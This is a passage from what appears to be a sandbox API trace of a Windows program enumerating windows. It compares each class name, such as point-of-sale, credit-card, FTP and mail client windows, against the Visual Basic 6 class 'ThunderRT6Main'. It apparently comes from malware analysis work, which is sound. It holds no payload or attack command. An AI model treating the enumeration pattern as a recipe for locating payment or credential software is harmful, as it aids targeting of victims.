hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0122.321] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0122.321] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0122.321] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0122.321] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0122.321] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.321] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0122.321] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0122.321] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0122.321] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0122.321] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0122.321] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.321] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.321] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0122.321] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0122.321] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0122.321] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0122.322] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0122.322] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.322] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0122.322] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0122.322] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0122.322] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0122.322] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0122.322] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.322] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0122.322] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0122.322] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0122.322] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0122.322] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0122.322] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.322] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0122.322] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0122.322] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0122.322] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0122.322] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0122.322] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0122.322] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.323] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0122.323] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0122.323] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0122.323] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0122.323] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0122.323] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.323] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0122.323] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0122.323] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0122.323] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0122.323] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0122.323] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.323] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0122.323] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0122.323] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0122.323] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0122.323] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0122.323] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.323] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.323] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0122.323] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0122.324] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0122.324] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0122.324] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0122.324] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.324] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0122.324] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0122.324] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0122.324] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0122.324] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0122.324] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.324] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0122.324] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0122.324] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0122.324] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0122.324] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0122.324] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.324] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0122.324] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0122.324] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0122.324] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0122.324] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0122.325] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0122.325] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.325] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0122.325] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0122.325] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0122.325] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0122.325] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0122.325] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.325] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0122.325] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0122.325] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0122.325] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0122.325] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0122.325] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.325] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0122.325] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0122.325] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0122.325] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0122.325] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0122.354] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0122.355] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.355] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.355] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0122.355] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0122.355] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0122.355] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0122.355] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0122.355] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0122.355] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.355] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.355] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0122.355] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0122.355] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0122.355] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0122.355] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0122.355] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0122.355] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.355] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0122.356] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0122.356] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0122.356] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0122.356] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0122.356] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.356] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0122.356] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0122.356] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0122.356] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0122.356] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0122.356] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.356] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0122.356] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0122.356] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0122.356] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0122.356] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0122.356] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.356] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.356] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0122.357] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0122.357] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0122.357] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0122.357] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0122.358] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0122.358] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.358] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.358] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0122.358] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0122.358] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0122.358] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0122.358] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0122.358] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0122.358] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.358] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.358] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0122.358] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0122.358] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0122.358] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0122.358] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0122.358] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0122.358] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.358] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.358] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0122.358] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0122.359] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0122.359] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0122.359] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0122.359] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.359] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0122.359] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0122.359] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0122.359] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0122.359] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0122.359] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.359] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0122.359] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0122.359] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0122.359] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0122.359] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0122.359] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.359] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.359] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0122.359] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0122.359] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0122.360] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0122.360] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0122.360] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.360] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0122.360] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0122.360] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0122.360] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0122.360] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0122.360] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.360] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0122.360] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0122.360] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0122.360] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0122.360] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0122.360] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.360] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.360] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0122.360] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0122.360] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0122.361] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0122.361] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0122.361] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0122.361] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0122.361] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0122.361] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0122.361] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0122.361] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0122.361] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0122.361] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0122.361] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0122.361] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0122.361] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0122.361] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0122.361] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0122.361] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0122.361] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0122.362] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0122.362] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0122.362] 